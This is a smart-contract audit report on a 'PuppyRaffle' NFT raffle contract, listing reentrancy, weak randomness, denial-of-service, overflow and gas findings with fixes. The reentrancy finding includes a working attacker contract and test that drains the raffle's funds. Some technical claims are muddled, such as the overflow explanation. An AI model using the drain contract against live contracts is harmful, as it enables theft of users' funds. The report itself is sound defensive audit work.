Protocol Audit Report

Aditya

May 30, 2025

Raffle Audit Report

Version 1.0

(NodeHawk)Adiverse.io

June 7, 2025

Protocol Audit Report

Aditya

May 30, 2025

Prepared by: [Aditya] Lead Auditors: - xxxxxxx

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I have made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Potential code vulenrabilities have been mentioned while the report has cover most of them.

Issues found

Severity	Number of issues found
High	2
Medium	3
Low	1
Info	6
Gas	2
Total	14

Findings

Findings in `PuppyRaffle` contract.

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: In the classic example, an attacker can drain funds from a contract by repeatedly calling a vulnerable function before it has finished processing the initial transaction. This is typically caused when the contract updates state variables after an external call, leaving the contract in an inconsistent state. It does not CEI (Checks, Effects, Interactions) pattern.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not ac

    // @audit - Reentrancy Attack
@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have `fallback/receive` function that calls the `PuppuRaffle::refund` function again and claim again another refund. It could continue in cycle till complete funds are drained.

Impact: All fess paid to the raffle by entrants can be drained out to malecious user.

Proof of Concept :

1. User enters a raffle.
2. Attacker contract with a `fallback` function that calls `PuppyRaffle::refund`.

3. Attacker enters the raffle.
4. Attacker calls the `PuppyRaffle::refund` from there attack contract, draining the contract balance.

Proof of Code:

Place the following into `PuppyRaffleTest.t.sol`:

Code

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    // from attacker contract
    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackerBalance = address(attackerContract).balance;
    uint256 staringContractBalance = address(puppyRaffle).balance;

    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console2.log("starting attacker contract balance: ", startingAttackerBalance);
    console2.log("starting contract balance: ", staringContractBalance);

    console2.log("ending attacker contract balance: ", address(attackerContract).balance);
    console2.log("ending contract balance: ", address(puppyRaffle).balance);
}
```

And this contract as well:

Code

```
contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
```

```
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));

            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
}
```

Recommended Mitigations: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is no
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows uses to predict the winner and predict the NFT mint

Description: Hashing `msg.sender`, `block.difficulty` and `block.timestamp` together creates a predictable find number. A prectitable number is not a good

random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning money and selecting which NFT to mint for them.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate winner.
3. User can revert their `selectWinner` transaction if they do not like the NFT minted.

Recommended Mitigation: Consider using cryptographically provable random number generator such as Chainlink VRF.

Medium

[M-1] Looping thourgh plyers array to check duplicates in `PuppyRaffle::enterRaffle` is a potential DoS(Denial of Service), incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops throught the `players` array to check for duplicates. However the longer the `PuppyRaffle::players` array the more check the new player has to make, this means a new user has to pay a higher gas fees to enter into the raffle while it should not be the case.

```
// @audit
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Impact: The gas cost for entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants.

An attacker might make `PuppyRaffle::players` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- Gas used for first 100 players: 6503225 gas

- Gas used for second 100 players: 18995462 gas

This is more than three 3x more expensive for new players to enter.

PoC

Place the follwoing test into `PuppyRaffleTest.t.sol`.

```
// @audit
function test_dosEnterRaffle() public {

    vm.txGasPrice(1);

    uint256 numPlayers = 100;
    address[] memory players = new address[](numPlayers);

    for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirstHundredPlayers = gasStart - gasEnd;

    console2.log("Gas used for first 100 players:", gasUsedFirstHundredPlayers);

    // second time
    address[] memory playersRound2 = new address[](100);
    for (uint256 i = 0; i < 100; i++) {
        playersRound2[i] = address(uint160(i + 100));  // Different addresses
    }

    gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersRound2.length}(playersRound2);
    gasEnd = gasleft();

    uint256 gasUsedSecondHundredPlayers = gasStart - gasEnd;
    console2.log("Gas used for second 100 players:", gasUsedSecondHundredPlayers);
}
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates: Users could make a new wallet addresses. So current functionality of duplicate checks doesn't prevent the same person entering multiple times, instead same address multiple times.
2. Consider using a mapping to check for duplicates this would allow constant

time lookup of whether a user has already entered or not.

[M-2] Overflow / Underflow value issue `totalFees = totalFees + uint64(fee);`

Description: The statement totalFees = totalFees + uint64(fee); is vulnerable to overflow if the cumulative value of totalFees and the casted fee exceeds the maximum value allowed by the uint64 type. Since unsigned integers in Solidity do not wrap around safely (prior to Solidity 0.8.0) and can revert on overflow starting from 0.8.0, this can cause unexpected failures or corrupted state depending on the compiler version and context.

Impact: In Solidity <0.8.0, this may result in silent overflow, leading to incorrect totalFees values, possibly reverting logic based on expected balance caps or opening up avenues for economic exploits.

Proof of Concept: If totalFees is close to the uint64 limit and fee is a non-trivial number, adding them causes overflow:

solidity Copy Edit

```
uint64 public totalFees;
function accumulateFee(uint256 fee) public {
    // Assume fee is a large value and called repeatedly
    totalFees = totalFees + uint64(fee);
}
```

Recommended Mitigation: Use a wider integer type: If high accumulation is expected, switch totalFees to uint128 or uint256 to significantly reduce the chances of overflow.

[M-3] Smart Contract wallets raffle winner without a proper `receive` and `fallback` function will block the start of the a new contest.

Description The `PuppyRaffle::selectWinner` function is responsible for resetting lottery. However, if the winner is a smart contract wallet that rejects payment, a lottery would not be able to finish its round.

User could enter the raffle again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle::selectWinner` could revert many times, making the lottery reset difficult.

Also true winners may not get paid out and someone else could withdraw the money.

Proof of Concept*:

1. 10 smart contract wallet enter the raffle without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation There are few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out by themselves, putting the owness on the winner to claim their prize. (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` turns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0 but accoding to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think that they have not entered the raffle, and attempt to enter the raffle again.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. They think they have not entered the raffle due to the funciton documentation.

Recommended Mitigation: The easiest one would be to revert if player is not in the array instead of returning 0.

Gas

[G-1] Unchanged state varibles should be declared constant or immutables

Description Reading from storage is much more expensive than reading from a constant or immutable varible

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Informational

[I-1] `PuppyRaffle::selectWinner` should follow CEI (Checks, Effects, Interaction) pattern for better practice

It's best to keep the code clean and follow CEI pattern.

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-2] Use of "magic" number is discouraged

Description: It can be confusing to see number literals in codebase, readability of the codebase is much more enhanced when they are already defined

```
        // instead of 80 we could use constant of
        // uint256 constant PRICE_POOL_PERCENTAGE = 80;
        // uint256 constant FEEL_PERCENTAGE = 20;
```

```
// uint256 constant FEE_PRECISION = 100;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

[I-3] Solidity pragma should be specific, not wide

Description: Consider using a specific version of solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;` use `pragma solidity 0.8.0;`. Found in src/PuppyRaffle.sol

Impact: Various dependecies comptability and internal security issues.

[I-4] Using outdated version of solidity is not recommended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-5] State changes are having missing events

Description: The `PuppyRaffle::withdrawFees` function is emiting an event which is undeclared.

```
emit FeeAddressChanged(newFeeAddress);
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used

Description: Either has no use or is missing fuctionality for the protocol.

```
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
            return true;
        }
    }
    return false;
}
```